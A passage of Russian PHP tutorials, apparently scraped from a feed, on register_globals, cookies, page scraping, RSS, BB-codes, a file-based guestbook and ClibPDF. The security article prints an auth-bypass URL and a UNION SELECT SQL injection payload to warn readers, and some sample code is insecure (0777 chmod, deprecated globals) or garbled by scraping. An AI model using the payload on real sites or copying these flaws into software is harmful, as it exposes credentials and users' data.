Как видим, он может рассказать нам о своих Желаниях(), Выпить_Шнапса() и поведать о своем Самочувствии() после выпитого.

В этом классе есть ещё одна функция - Немецкий_Офицер(). Она особенная и отличается от всех других, тем, что её название в точности совпадает с названием самого класса. Такая функция называется конструктор. Слово "конструктор" в английском языке значит совсем не то, что в русском, а обозначает того, кто что-то конструирует. Конструктор - это функция которая выполняется автоматически, когда создаётся (конструируется) новый объект данного класса. То есть когда рождается каждый новый Немецкий_Офицер он сразу начинает испытывать естественную для каждого истинного Немецкого_Офицера Острую_Необходимость Выпить_Шнапса.]]> Sat, 27 Apr 2013 19:16:54 +0300 register_globals=oN? Вы в опасности!
Что представляет собой register_globals?
Это опция в php.ini, которая указывает на необходимость регистрации переменных полученные методом POST или GET в глобальный массив $GLOBALS.

Для ясности приведу пример при register_globals=on.
Есть файл «index.php» с содержимом:

<?
echo $asd.' - локальная переменная<br>';
echo $GLOBALS['asd'].' - ссылка в глобальном массиве $GLOBALS<br>';
echo $_GET['asd'].' - $_GET["asd"]';
?>

В адресной строке напишем: index.php?asd=123

Получим:

123 - локальная переменная
123 - ссылка в глобальном массиве $GLOBALS
123 - $_GET['asd']

Как мы видим, создались 2 переменные: одна локальная (+ ссылка в $GLOBALS), другая в массиве $_GET. Многие не используют массив $_GET вообще, они продолжают обрабатывать переменную «$asd» после получения ее извне.
Но давайте вдумаемся, зачем нам «загрязнять» массив $GLOBALS? Для этого у нас есть специальные массивы, хранящие данные, переданные методами GET (массив $_GET) и POST (массив $_POST).

Тот же самый пример, но при register_globals=off :

- глобальная переменная
- ссылка в глобальном массиве $GLOBALS
123 - $_GET['asd']

Т.о. не была создана локальная переменная и для манипулирования с «$asd» мы должны использовать массив $_GET.

Возможно, уже сейчас вы изменили свое мнение о register_globals.
Вероятно, вам придется что-то переписать в своих программах, но оно того стоит.

А теперь я расскажу вам, как взломщик может воспользоваться этой опцией в своих целях, т.е. при register_globals=on
Начну от простого к сложному.

Часто мы видим предупреждения:

Notice: Undefined variable: asd(название переменной) in ****

Что это значит? Это значит, что переменная «$asd» не была определена явно.
Например, некоторые люди балуются подобным:

<?
for($i=0;$i<10;$i++)
{
@$asd.=$i;
}

echo $asd
?>

Т.е. не определив переменную, сразу начинают ее использовать. Приведенный код по идее не страшен, но задумайтесь, а вдруг эта самая переменная «$asd», в последствие записывается в файл? Например, напишем следующее в строке адреса: «index.php?asd=LUSER+» и получим: «LUSER 0123456789». Ну, разве приятно будет увидеть такое? Не думаю.

Предположим мы пишем систему аутентификации пользователя:

<?
if($_POST['login']=='login'&&$_POST['pass']=='pass')
{
$valid_user=TRUE; // Юзер корректный
}

if($valid_user)
{
echo 'Здравствуйте, пользователь';
}
else echo 'В доступе отказано'
?>

Привел я заведомо дырявую систему, стоит нам только написать в адресной строке «index.php?valid_user=1» и мы получим надпись «Здравствуйте, пользователь»

Этого бы не случилось, если бы мы написали так:

<?
if($_POST['login']=='login'&&$_POST['pass']=='pass')
{
$valid_user=TRUE; // Юзер корректный
}
else $valid_user=FALSE;

if($valid_user)
{
echo 'Здравствуйте, пользователь';
}
else echo 'В доступе отказано'
?>

Т.е. сами определили переменную $valid_user, как FALSE в случае неудачи.

Продолжим далее…
Теперь использование функции IsSet() становится небезопасно, т.к. любой может подменить переменную на угодную ему.

Приведу пример с sql-инъекцией:

<?
if(@$some_conditions) // некоторые условия
{
$where='id=3';
}

echo $query='SELECT id, title, description FROM table '
.'WHERE '.(IsSet($where)?$where:'id=4')
?>

В адресной строке напишем: «index.php?where=id=0+UNION+ALL+SELECT+login,+password,+null+FROM+admin+where+login='admin'» получим sql-инъекцию:

SELECT id, title, description FROM table WHERE id=0
UNION ALL SELECT login, password, null FROM admin where login='admin'

И взломщик получает ваши явки и пароли:(

Как вы видите все примеры, имеют дыры в защите, которые можно эксплуатировать через включенный register_globals.

Справиться с подобным можно, если всегда определять переменную вне зависимости от условий. Или же использовать инкапсуляцию переменных в функциях, т.е. когда вы определяете функцию, то переменные, что внутри нее будут закрыты извне, например:

<?
function asd()
{
// Какие то действия

if(IsSet($where))
{
echo $where;
}
else echo '$where не существует';
}
asd();
?>

Теперь, если мы напишем в адресной строке: «index.php?where=123»
Даст: «$where не существует»
Но это при условии, что вы не устанавливаете переменную $where как глобальную, т.е. «global $where»

Я могу придумать еще очень много примеров, но думаю, что приведенных мною вам будет достаточно для понимания.
Хочу сказать, что все эти проблемы канут в лета, когда вы установите опцию register_globals=off и попробуете заново все приведенные выше примеры.

Это можно сделать как в php.ini, но большинство хостинг провайдеров вам это не позволят, потому придется воспользоваться файлом «.htaccess»

Создаем файл с названием: .htaccess
Запишем в него:

php_flag register_globals off

И все, теперь некоторые вопросы безопасности решены:)

Немного о причине написания мной этой статьи:
Лично я никогда не использовал register_globals = on, т.к. мне казалось это нелогичным. Так же я знал, что это еще один «+» к защите. Но в полной мере я не осознавал насколько это может быть опасно. Случилось это когда я решил написать GSMgen – Google SiteMap generator, который должен был работать безопасно и при включенном register_globals. Когда же я начал его тестировать, у меня был шок…так как мне нравится использовать функцию IsSet() я нашел в ней непосредственную уязвимость, и в процессе мне пришлось от этого отказаться:( Что поделаешь…

Я очень надеюсь, что эта статья изменит ваше мнение относительно register_globals. Думаю, что со временем все хостинг провайдеры будут ставить register_globals = off по умолчанию. Но пока этого нет, вы знаете, как с этим бороться;-)]]> Sat, 27 Apr 2013 19:16:26 +0300 Cookies - свежие булочки Итак, первое что вам следует выучить, это как ставить куки пользователю.
Совершенно ничего сложного, используйте функцию setcookie(). Вот ее общий формат.

<?php
int setcookie (string name [, string value [, int expire [, string path [, string domain [, int secure]]]]])
?>

Итак нам надо указать имя куки и ее значение. Остальные поля не обязательны - это время жизни куки (до которой даты), на какую директорию ставим, на какой домен и нужна ли безопасность куки (используется редко).

Вот пример.

<?php
setcookie ("TestCookie", "Ded Mozor");

/* А эти куки живут только один час */
setcookie ("TestCookie", $value,time()+3600);

/* Только для директории user сайта *phpdevs.com */
setcookie ("TestCookie", $value,time()+3600, "/user/", ".phpdevs.com", 1);
?>

Для удаления куки просто поставьте пустое значение.
<?php
setcookie ("TestCookie", "");
?>

Теперь читаем куки.

<?php
$my_cookie = $HTTP_COOKIE_VARS["TestCookie"];
?>

Как видите все очень просто до безобразия.]]> Sat, 27 Apr 2013 19:16:03 +0300 "Грабим" странички
Привожу весь код, пояснения к нему - дальше...

<?
// начало
$link = "http://win.subscribe.ru/catalog/latest";
$file = @fopen($link, "r");
if ($file) { $rf = fread($file, 200000); fclose($file); } else { echo "Извините, запрошенная страница временно не доступна!"; }

// 1
$rf = trim (chop ($rf));
$s = strpos($rf, " $rf = substr($rf, $s);

// 2
$s = strpos($rf, " $rf = substr($rf, 0, $s);

// 3
$rf = str_replace ("/catalog/","http://win.subscribe.ru/catalog/", $rf);
$rf = str_replace ("/archive/","http://win.subscribe.ru/archive/", $rf);
$rf = str_replace ("ACTION=/member/quick","ACTION=http://win.subscribe.ru/member/quick", $rf);
$rf = str_replace ("/img/money2.gif","http://win.subscribe.ru/money2.gif", $rf);
$rf = str_replace ("/img/a114.gif","http://win.subscribe.ru/af.gif", $rf);
$rf = str_replace ("/img/af.gif","http://win.subscribe.ru/af.gif", $rf);

// 4
echo $rf;
?>

А теперь поехали! В самом начале нам нужно выкачать страничку. Записываем ее адрес и открываем по нему соединение. Далее идет проверка - если соединение успешно, можно считать весь файл (не мудрствуя лукаво указываем 200000 байт для считывания, что явно больше размера открываемого файла), если произошла ошибка открытия, предупреждаем об этом посетителя и выводим ему что угодно, например баннер.

Этап 1.
$rf = trim (chop ($rf)); - этой мудреной комбинацией мы значительно уменьшим объем обрабатываемых данных, так как уберем повторяющиеся пробелы и пробелы в конце и в начале файла. Потом нам нужно определиться с местом, откуда мы будем выводить информацию. Анализ кода дает нам очень эффективный механизм, и мы им непременно воспользуемся.
$s = strpos($rf, " - эта команда позволяет найти номер позиции указанной последовательности символов в строке, куда мы считали весь код файла. Результат помещается в переменную $s
$rf = substr($rf, $s); - жестоко обрезаем все, что находится перед этой комбинацией. В том числе и баннеры, кстати.

Этап2.
Делаем почти тоже самое, но только для конца файла. Файл оказывается обрезан с начала и с конца так, как нам того хочется. Обращаю Ваше внимание, что в данном случае все оказалось очень просто, но иногда приходится применять другие метода для вырезки кода, так как нет столь четких границ. Но почти всегда можно что-то придумать. В результате этой обработки у нас уже есть почти все, что надо. В принципе можно было просто вывести все на экран, но есть один нюанс, который нужно учитывать. Это - ссылки. Они не абсолютные, а относительные. Хорошо хоть, их мало... А в таком случае проблема решается просто.

Этап3.
Берем, и заменяем то, что есть на то, что нам нужно. Например:
$rf = str_replace ("/catalog/","http://win.subscribe.ru/catalog/", $rf);
Эта строчка кода позволяет нам заменить во всей строке $rf относительные ссылки на абсолютные. Точно так же поступаем со всеми остальными ссылками, которые встречаются в коде странички. Грубо, но точно...

Этап4.
Тут мы просто выводим результат на экран посетителю. А этот результат - нужный нам код HTML странички, который и будет отображен браузером. Если Вы хотите интегрировать этот код к себе, Вам скорее всего придется сделать еще одно - расправиться с таблицами, которые норовят по ширине вылезть из Вашего дизайна. Но тут уж подумайте сами. Ничего сложного нет - находит, что отвечает за размер страницы, и заменяем это на пустую строку.

Результат - на экране. Если хотите посмотреть как это все работает в натуре, посетите страницу http://virtual.bresttelecom.by/komputer/ Там есть этот пример, а так же два других, но предлагаю посмотреть на них самим. На сегодня все.

Приходит очень много вопросов по теме установки и настройки РНР и Apache. Честно говоря, я сам в этом деле не очень хорошо разбираюсь (в установке под Win), но зато могу посоветовать к кому обратиться. http://www.design-studios.ru/php/apache/ Этот сайт и его автор, надеюсь, смогут Вам помочь в нелегком деле настройки. Там выложены самые лучшие и подробные описания, много полезной информации по теме. Пользуйтесь...]]> Sat, 27 Apr 2013 19:15:46 +0300 RSS генератор
Итак, задача: написать простой генератор RSS ленты для сайта, содержащего часто пополняемый контент. Решение пишем на PHP. А вы как думали? :) Записи ленты будем хранить в отдельном файле, чтобы было легче выкидывать устаревшие. Кто это предложил «генерировать ленту динамически, выбирая самые свежие записи из MySQL»? Не прокатит, учитывая, что обращаться к базе данных и делать выборку нам придётся каждый раз при просмотре ленты пользователем. В нашем же варианте мы имеем простое кэширование, и регенерация RSS происходит лишь в момент добавления новой записи, причём вообще без обращения к базе.

Схема проста: подгружаем файл с лентой, обрезаем старую запись, если их слишком много, и дописываем новую. Вот кусок кода, пояснения по ходу:

$rss_header_file = "rss/header.inc";
$rss_content_file = "rss/content.inc";
$rss_footer_file = "rss/footer.inc";
$rss_document_file = "rss/export.xml";
$rss_temp_file = "rss/tempfile";
$rss_miss_lines = 8; // Количество строк в одной записи
$rss_max_records = 10; // Максимальное количество записей в ленте

// Загружаем содержимое
$rss_content = file($rss_content_file);

// Если записей больше чем нужно, выкидываем самую старую
if (count($rss_content) > $rss_miss_lines * $rss_max_records)
$rss_content = array_slice($rss_content, $rss_miss_lines);

// Добавляем свежую запись
// В соответствующих переменных должны содержаться данные
// При добавлении/удалении полей поправить $rss_miss_lines
array_push(
$rss_content,
"<item>\n",
"<title>".$author."</title>\n",
"<link>".$link."</link>\n",
"<guid>".$link."</guid>\n",
"<description>".$message."</description>\n",
"<pubDate>".date("r")."</pubDate>\n",
"<author>".$author."</author>\n",
"</item>\n"
);
$fp = fopen($rss_content_file, "w");
foreach($rss_content as $rss_content_line) {
if ($rss_content_line != "\n")
fwrite($fp, $rss_content_line);
}
fclose($fp);

// Собираем ленту
$rss_document = array_merge(
file($rss_header_file),
file($rss_content_file),
file($rss_footer_file)
);

// Используем временный файл, чтобы не возникло конфликтов доступа
$rnd = rand(0, 1000);
$rss_temp_file = $rss_temp_file.$rnd;
$fp = fopen($rss_temp_file, "w");
foreach($rss_document as $rss_document_line)
fwrite($fp, $rss_document_line);
fclose($fp);
unlink($rss_document_file);
rename($rss_temp_file, $rss_document_file);

Все файлы для ленты находятся в папке rss. Полезно также положить туда индексный файл, переадресующий нас на export.xml. В файлах header.inc и footer.inc содержатся, соответственно, заголовок и, хм... завершитель ленты. Можно, конечно, было прописывать их в коде явно, но тогда теряется возможность править их без залезания в код. Да, и не забудьте отформатировать добавляемый текст должным образом, например, с помощью htmlspecialchars(nl2br()).]]> Sat, 27 Apr 2013 19:15:24 +0300 BB-коды Для начала я Вас познакомлю с двумя функциями:

str_replace()

Синтаксис:

string str_replace(string from, string to, string str)

Функция str_replace() заменяет в исходной строке str одни подстроки на другие. Т.е. функция заменяет в строке str все вхождения подстроки from на to и возвращает результат. Эта функция может работать с двоичными строками.

Функция, вообще говоря, нужная. К примеру, если Вы пишите что-то типа гостевой книги, форума, и хотите, чтобы в форме ввода для выделения теста можно было пользоваться стандартными тегами HTML, Вы можете с помощью этой функции заменить символы, которые Вы выбрали для форматирования на стандартные теги НТML.
К примеру:

$txt = str_replace("","<B>",$txt);

Т.е. если Вы используете для отображения текста полужирным шрифтом символы "", Вы должны их заменить на символ "<B>", используемые в НТМL.

preg_replace()

Синтаксис:

mixed preg_replace (mixed pattern, mixed replacement, mixed subject [,int limit])

Эта функция ищет в строке subject соответствия регулярному выражению pattern, и заменяет их на replacement. Необязательного параметр limit задает число соответствий, которые надо заменить. Если этот параметр не указан, или равен -1, то заменяются все найденные соответствия.

<?
$str = "May 15, 2003";
$pattern = "/(\w+) (\d+), (\d+)/i";
$replacement = "1 \${1} \$3";
print preg_replace($pattern, $replacement, $str);
?>

Результат:

1 May 2003

Думаю с функцией str_replace() все понятно, поэтому мы можем сразу перейти к написанию первой части нашей программы:

$text = str_replace("", "<b>", $text);
$text = str_replace("", "</b>", $text);

$text = str_replace("", "<i>", $text);
$text = str_replace("", "</i>", $text);

$text = str_replace("", "<u>", $text);
$text = str_replace("", "</u>", $text);
...

В выше приведенном коде мы заменяем BB-коды на их HTML эквиваленты. Все бы хорошо, да вот только BB-коды бывают и посложнее, например:

color=#FF0000]Красный[/color]

Чтобы перебрать все значения цветов (от #000000 до #FFFFFF), потребуется время, причем если делать эту проверку к каждому документу, то время загрузки документа быстро увеличивается. Как же тогда быть? Да очень просто, внимательнее вчитайтесь в эту функцию: “preg_replace()”.
Кто незнаком с регулярными выражениями, советую прочитать об этом материал.

$search[] = "#\[color=\# ([a-f0-9]{6})\](.*?)\[/color\]#si";
$search[] = "#\[size=([1-6]{1})\](.*?)\[/size\]#si";

$search[] = "#\[email\]([a-z0-9\._-]{1,})+@([a-z0-9\._-]{1,})+\.([a-z]{2,4})\[/email\]#si";
$search[] = "#\[email=\” ([a-z0-9\”_-]{1,})+@([a-z0-9\”_-]{1,})+\”([a-z]{2,4})\”\](.*?)\[/email\]#si";
...

$replace[] = '<font color="#\1">\2</font>';
$replace[] = '<font size="\1">\2</font>';

$replace[] = '<a href=http://shelek.com/"mailto://\1@\2.\3">\1@\2.\3</a>';
$replace[] = '<a href=http://shelek.com/"mailto:\1@\2.\3">\4</a>';
...

$text = preg_replace($search, $replace, $text);

Разбираем выше написанный код. Создаем два массива $search и $replace. В первом записано регулярное выражение, которое ищется в тексте, а во втором на что нужно заменить соответственно.[/color][/size][/email]]]> Sat, 27 Apr 2013 19:15:03 +0300 Гостевая книга на PHP
Перейдем к алгоритму нашей гостевой книги. Пользователь открывает гостевую книгу и видит максимальное количество сообщений, которое задается Вами. На этой же странице находится форма для ввода сообщений. А внизу страницы мы сделаем страницы, чтобы пользователь смог просматривать предыдушие сообщения.

После того, как пользователь ввел свои данные, текст сообщения и нажал на кнопку "Отправить", скрипт записывыет эту информацию в начало файла, чтобы другие пользователи смогли видеть сообщения "от последнего".

В файл гостевой книги будем записывать следующую информацию:

* Имя пользователя
* Дату и время (администратор может устанавливать сам, по своему вкусу) отправки сообщения
* Само сообщение
* E-mail пользователя (при желании пользователя)
* ICQ(при желании пользователя)
* Дом. страницу (при желании пользователя)
* IP пользователя (только для администратора)


Итого: 7 полей. После каждого поля стоит спец. символом №01

Так же при добавлении сообщения все поля будут проверятся на теги, чтобы увеличить безопастность нашей гостевой книги.

Ниже приведен листинг формы для добавления сообщений, сохраните его на диске как файл с названием "form.txt":

<script language="JavaScript" type="text/javascript">
function checkForm() {

formErrors = false;

if (document.post.mes.value.length < 2) {
formErrors = "Вы должны ввести текст сообщения";
} else

if (document.post.mes.value.length > 1000) {
var simbols = document.post.mes.value.length;
formErrors = "Вы должны ввести текст сообщения меньше 1000 символов, а у вас " + simbols;
} else

if (document.post.user.value.length > 20) {
var simbols = document.post.user.value.length;
formErrors = "Вы должны ввести ваше имя меньше 20 символов, а у вас " + simbols;
} else

if (document.post.user.value.length < 3) {
var simbols = document.post.user.value.length;
formErrors = "Вы должны ввести ваше имя больше 3 символов";
}

if (formErrors) {
alert(formErrors);
return false;
} else {
bbstyle(-1);
//formObj.preview.disabled = true;
//formObj.submit.disabled = true;
return true;
}
}
</script>
<form action = "index.php?action=addmes" method="post" name="post" onsubmit="return checkForm(this)" enctype="multipart/form-data">
<table cellspacing="0">
<tr><td height="5" style="border-top:1px solid #000000;" colspan="2"><font size="1">&nbsp;</font></td></tr>
<tr>
<td width="250">
<b><font size="2" color="#003333"><font color="DD0000">*</font>Ваше имя:</font></b>
</td>
<td width="298">
<font size="1" face="Verdana">
<input name="user" value="" style="width:298;" maxlength="20"></font><b><font size="2"></input>
</font>
</b>
</td>
<td width="2"></td>
</tr>
<tr>
<td width="250">
<b><font size="2" color="#003333">Элекстронная почта:</font></b>
</td>
<td width="298">
<font size="1" face="Verdana">
<input name="mail" value="" style="width:298;" maxlength="20"></font><b><font size="2"></input>
</font>
</b>
</td>
<td width="2"></td>
</tr>
<tr>
<td width="250">
<b><font size="2" color="#003333">Дом. страница:</font></b>
</td>
<td width="298">
<font size="1" face="Verdana">
<input name="homepage" value="http://" style="width:298;" maxlength="30"></font><b><font size="2"></input>
</font>
</b>
</td>
<td width="2"></td>
</tr>
<tr>
<td width="250">
<b><font size="2" color="#003333">ICQ:</font></b>
</td>
<td width="298">
<font size="1" face="Verdana">
<input name="icq" value="" style="width:298;" maxlength="12"></font><b><font size="2"></input>
</font>
</b>
</td>
<td width="2"></td>
</tr>
<tr>
<td width="550" colspan="3">
<b>
<font size="2" color="#003333"><font color="DD0000">*</font>Текст сообщения: (не больше 1000 символов)<br>
</font></b><font size="1" face="Verdana">
<textarea name="mes" style="width:550;" rows="6"></textarea></font><b><font size="2"><br>
</font>
</b><img alt="" src=http://shelek.com/"image/zero.gif" height="2" width="1"><br>
<button type="submit"><font face="Verdana">Отправить</font></button>
<img alt="" src=http://shelek.com/"image/zero.gif" height="1" width="2">
<button type="reset"><font face="Verdana">Стереть</font></button>
</td>
<td width="2"></td>
</tr>
</table>
</form>

Ниже приведен листинг файла для вывода сообщений, сохраните его на диске как файл с названием "tamples.txt":

<table cellpadding="0" cellspacing="0" width="100%">
<tr>
<td bgcolor="#E4E4E4" colspan="2" height="20"><font style="font-size: 10pt;">
&nbsp;&nbsp;<a href=http://shelek.com/"mailto:<?echo $email;?>"><b><?echo $nick;?></b></a> - <a href=http://shelek.com/"<?echo $homepage;?>">дом. страница</a>&nbsp;| icq: <?echo $icq;?>&nbsp;| Дата: <?echo $date;?></font>
</td>
</tr>
<tr><td width="5"><img alt="" src=http://shelek.com/"zero.gif" width="5" height="0"></td><td width="100%"><font size="-1"><?echo $text;?></font></td></tr>
</table><br>

Ниже приведен листинг файла для ответа на добавленное сообщение, сохраните его на диске как файл с названием "otvet.txt":

<html>
<head>
<title>Подождите...</title>
<meta http-equiv="refresh" content="2; url=index.php">
<style type="text/css">
html{
overflow-x: auto;
}

body{
background: #FFF;
color: #222;
font-family: Verdana, Tahoma, Arial, Trebuchet MS, Sans-Serif, Georgia, Courier, Times New Roman, Serif;
font-size: 11px;
line-height: 135%;
margin: 0;
padding: 0;
text-align: center;
}
</style>
</head>
<body>
<div>
<br><br><br><br><br><br>
<p>Спасибо...<br>
За ваше сообщение<br>
Нам важно каждое мнение</p>
<p>(<a href=http://shelek.com/"index.php">Или нажмите сюда, если не хотите ждать</a>)</p>
</div>
</body>
</html>

Ниже приведен листинг, сохраните его на диске как файл с названием "index.php":

<?php

Error_Reporting(E_ALL & ~E_NOTICE);

################ Информация для администратора ################
$file_guest = "guest.txt"; // файл гостевой книги
$kol_fields = 7; // количество полей для каждого сообщения
// (nick, date, text, email, icq, homepage, IP)
$max_mes_on_page = 20; // максимальное количество сообщений на страницу
$tamples_file = "tamples.txt"; // файл для вывода сообщений
$addform = "form.txt"; // форма для добавления сообщений
$date_format = "d.m.Y / H:i"; // формат даты
$otvet = "otvet.txt"; // файл для ответа на добавление сообщения
################===============================################

function strtosafe($str) // Защита данных то несанкционированного воздействия
{
$str = nl2br(htmlspecialchars($str)); // заменяем спец. символы на их эквиваленты
$str = str_replace("#", "&#035;", $str);
$str = str_replace('.', "&#046;", $str);

$slashes = chr(92);
$str = str_replace($slashes, "&#092;", $str);

$slashes = chr(39);
$str = str_replace($slashes, "&#39;", $str);
return $str;
}

function file_write($COUNT_FILE, $text) // Перезаписывает файл
{
$f = @fopen($COUNT_FILE, "w+"); // открываем файл

if ( @chmod("$COUNT_FILE", 0777) == false )
@chmod("$COUNT_FILE", 0777); // выставляем права для файла

@fwrite($f,$text); // записываем данные в файл
@fclose($f); // закрываем файл
return 0;
}

function file_read($COUNT_FILE) // Чтение из файла($file_name)
{
clearstatcache(); // очищаем кеш файла
if (is_file($COUNT_FILE))
{
$f = @fopen($COUNT_FILE, "r");

if ( @chmod("$COUNT_FILE", 0777) == false )
@chmod("$COUNT_FILE", 0777);

$conts = @fread($f, @filesize($COUNT_FILE));
@fclose($f);
return $conts;
} else return 0;
}

function fewrite($file_name, $text) // Делаем дозапись данных в файл($file_name)
{
if ( @chmod("$file_name", 0777) == false )
@chmod("$file_name", 0777);

$f = @fopen($file_name, "a+");
@flock($f, Lock_EX);
@fwrite($f, $text);
@flock($f, LOCK_UN);
@fclose($f);
return 0;
}

function fswrite($file_name, $text) // Делаем дозапись данных в начало файла($file_name)
{
$file_temp = $file_name . '.tmp'; // Резервный файл

if (is_file($file_temp)) die("Не удалось записать информацию: в прошлый раз работа
скрипта была прервана(сбой в системе).<br> Пожайлуста обратитесь к администратору");

if ( @chmod("$file_name", 0777) == false )
@chmod("$file_name", 0777);

if (copy($file_name, $file_temp))
{
file_write($file_name, $text);
fewrite($file_name, file_read($file_temp));
@unlink($file_temp);
} else return -1; // код ошибки (не удалось произвести копирование)
return 0;
}

$action = $HTTP_GET_VARS["action"]; // действие

if ($action == 'addmes')
{
$nick = strtosafe($_POST['user']);
$date = date($date_format);
$text = strtosafe($_POST['mes']);
$email = strtosafe($_POST['mail']);
$icq = strtosafe($_POST['icq']);
$homepage = strtosafe($_POST['homepage']);
$IP = $_SERVER['REMOTE_ADDR'];

if (!is_file($file_guest)) file_write($file_guest, ""); // если файла гостевой гниги не существет, тогда создаем пустой
fswrite($file_guest, $user ."\x01". $date ."\x01". $text ."\x01". $email ."\x01". $icq ."\x01". $homepage ."\x01". $IP ."\x01"); // записываем информацию

include($otvet); // вставляем ответ для пользователя по окончании добавления
} else {

$page = $HTTP_GET_VARS["page"] - 1; // номер страницы
if ($page < 1) $page = 0;

$cont = file_read($file_guest); // данные из файла
$conts = explode("\x01", $cont); // записываем данные из фала в массив
$all_mes = (count($conts)-1) / 7; // общее количество сообщений

include($addform);

for ($i = ($max_mes_on_page * $page); $i < (($max_mes_on_page * $page) + $max_mes_on_page); $i++)
{
if ($i >= $all_mes) break;

$nick = $conts[$kol_fields*$i];
$date = $conts[$kol_fields*$i + 1];
$text = $conts[$kol_fields*$i + 2];
$email = $conts[$kol_fields*$i + 3];
$icq = $conts[$kol_fields*$i + 4];
$homepage = $conts[$kol_fields*$i + 5];
$ip = $conts[$kol_fields*$i + 6];

include($tamples_file); // заготовка для вывода сообщений
}

echo "Страницы: ";
for ($i = 1; $i < ($all_mes / $max_mes_on_page + 1); $i++) // вывод страниц
echo "<a href=http://shelek.com/\"index.php?page=". $i ."\">&nbsp;". $i ."&nbsp;</a> ";
}
?>

Я не стану объяснять код, т.к. уже подписал комментарии в нем.

Этот код конечно же несовершенен, поэтому ненадо сильно критиковать. Я специально некоторые функции недоделал или несделал вообще (что бы Вы сами пошевелили своим сером веществом и заставили его думать :) ). Например осталось без внимания то, что здесь нет лимита на показ страниц, т.е. нужно выводить по 10 страниц и две стрелочки: на предыдущие 10 (если таковые имеются) и на следующие. Так же можно добавить ф-цию на проверку e-mail, icq и дом.страницу. Можно и BB-коды присобачить см. подробнее сдесь. Про администрирование я уже и неговорю, сами делайте как хотите

Немного о защите данных:
создайте в дериктории с файлом "index.php" файл ".htaccess", и впищите в него следующую информацию:

<Files "*.txt">
deny from all
</Files>
DirectoryIndex index.php

Это похволит вам скрыть все *.txt файлы и назначить главным файлом в дериктории "index.php"

Вроде все сказал, все хорошо... да потребности у всех разные, кому-то этот скрипт подойдет, а кому-то и нет. Идею я вам дал, остальное делайте сами. Как говорится: "На всех не угодишь".]]> Sat, 27 Apr 2013 19:14:39 +0300 X. Функции ClibPDF Библиотека ClibPDF даёт возможность создавать PDF-документы с помощью PHP. Её можно загрузить с FastIO, но необходимо приобрести лицензию для коммерческого использования. Функциональность и API ClibPDF аналогичны PDFlib.

Этот документ необходимо читать вместе с учебником ClibPDF, поскольку там библиотека рассматривается более детально.

Многие функции в модулях ClibPDF и PHP, а также в PDFlib, называются одинаково. Все функции, за исключением cpdf_open(), принимают в качестве первого параметра дескриптор документа.

В настоящее время этот дескриптор не используется внутренне, поскольку ClibPDF не поддерживает одновременное создание нескольких PDF-документов. И даже не пытайтесь сделать это - результат будет непредсказуем. Невозможно предсказать, какие последствия этого могут быть во многопоточной среде. По соглашению с автором ClibPDF мы изменим это в одном из последующих релизов (на момент написания имелась версия 1.10). Если вам нужна эта функциональность, используйте модуль pdflib.

Прекрасной возможностью ClibPDF (и PDFlib) является способность создавать pdf-документ полностью в памяти без использования временных файлов. Имеется также возможность передавать координаты в предопределённых единицах измерения. (Эта возможность симулируется также функцией pdf_translate() при использовании PDFlib -функций.)

Другим важным свойством ClibPDF является то, что любая страница может быть модифицирована в любое время, даже если уже открыта новая страница. Функция cpdf_set_current_page() позволяет оставить текущую страницу и продолжить модификацию другой страницы.

Большинство функций использовать довольно легко. Возможно, самое сложное - это создание самого простого PDF-документа. Следующий пример должен помочь вам начать. Он создаёт документ из одной страницы. Эта страница содержит текст "Times-Roman", выведенный шрифтом в 30pt. Текст подчёркнут.

Предопределённые константы
Эти константы определены данным расширением и будут доступны только в том случае, если либо вкомпилированы в РНР, либо динамически загружены на этапе прогона.

CPDF_PM_NONE (integer)
CPDF_PM_OUTLINES (integer)
CPDF_PM_THUMBS (integer)
CPDF_PM_FULLSCREEN (integer)
CPDF_PL_SINGLE (integer)
CPDF_PL_1COLUMN (integer)
CPDF_PL_2LCOLUMN (integer)
CPDF_PL_2RCOLUMN (integer)
Примеры
Пример 1. Простой пример с использованием ClibPDF

<?php
$cpdf = cpdf_open(0);
cpdf_page_init($cpdf, 1, 0, 595, 842, 1.0);
cpdf_add_outline($cpdf, 0, 0, 0, 1, "Page 1");
cpdf_begin_text($cpdf);
cpdf_set_font($cpdf, "Times-Roman", 30, "WinAnsiEncoding");
cpdf_set_text_rendering($cpdf, 1);
cpdf_text($cpdf, "Times Roman outlined", 50, 750);
cpdf_end_text($cpdf);
cpdf_moveto($cpdf, 50, 740);
cpdf_lineto($cpdf, 330, 740);
cpdf_stroke($cpdf);
cpdf_finalize($cpdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($cpdf);
cpdf_close($cpdf);
?>
Дистрибутив pdflib содержит более сложный пример, в котором создаются серии страниц с аналоговыми часами. Здесь приведён пример, конвертированный в PHP с использованием расширения ClibPDF:

Пример 2. pdfclock из дистрибутива pdflib 2.0

<?php
$radius = 200;
$margin = 20;
$pagecount = 40;

$pdf = cpdf_open(0);
cpdf_set_creator($pdf, "pdf_clock.php3");
cpdf_set_title($pdf, "Analog Clock");

while($pagecount-- > 0) {
cpdf_page_init($pdf, $pagecount+1, 0, 2 * ($radius + $margin), 2 * ($radius + $margin), 1.0);

cpdf_set_page_animation($pdf, 4, 0.5, 0, 0, 0); /* wipe */

cpdf_translate($pdf, $radius + $margin, $radius + $margin);
cpdf_save($pdf);
cpdf_setrgbcolor($pdf, 0.0, 0.0, 1.0);

/* отсчёт минут */
cpdf_setlinewidth($pdf, 2.0);
for ($alpha = 0; $alpha < 360; $alpha += 6)
{
cpdf_rotate($pdf, 6.0);
cpdf_moveto($pdf, $radius, 0.0);
cpdf_lineto($pdf, $radius-$margin/3, 0.0);
cpdf_stroke($pdf);
}

cpdf_restore($pdf);
cpdf_save($pdf);

/* отсчёт пятиминуток */
cpdf_setlinewidth($pdf, 3.0);
for ($alpha = 0; $alpha < 360; $alpha += 30)
{
cpdf_rotate($pdf, 30.0);
cpdf_moveto($pdf, $radius, 0.0);
cpdf_lineto($pdf, $radius-$margin, 0.0);
cpdf_stroke($pdf);
}

$ltime = getdate();

/* прорисовка часовой стрелки */
cpdf_save($pdf);
cpdf_rotate($pdf, -(($ltime['minutes']/60.0) + $ltime['hours'] - 3.0) * 30.0);
cpdf_moveto($pdf, -$radius/10, -$radius/20);
cpdf_lineto($pdf, $radius/2, 0.0);
cpdf_lineto($pdf, -$radius/10, $radius/20);
cpdf_closepath($pdf);
cpdf_fill($pdf);
cpdf_restore($pdf);

/* прорисовка минутной стрелки */
cpdf_save($pdf);
cpdf_rotate($pdf, -(($ltime['seconds']/60.0) + $ltime['minutes'] - 15.0) * 6.0);
cpdf_moveto($pdf, -$radius/10, -$radius/20);
cpdf_lineto($pdf, $radius * 0.8, 0.0);
cpdf_lineto($pdf, -$radius/10, $radius/20);
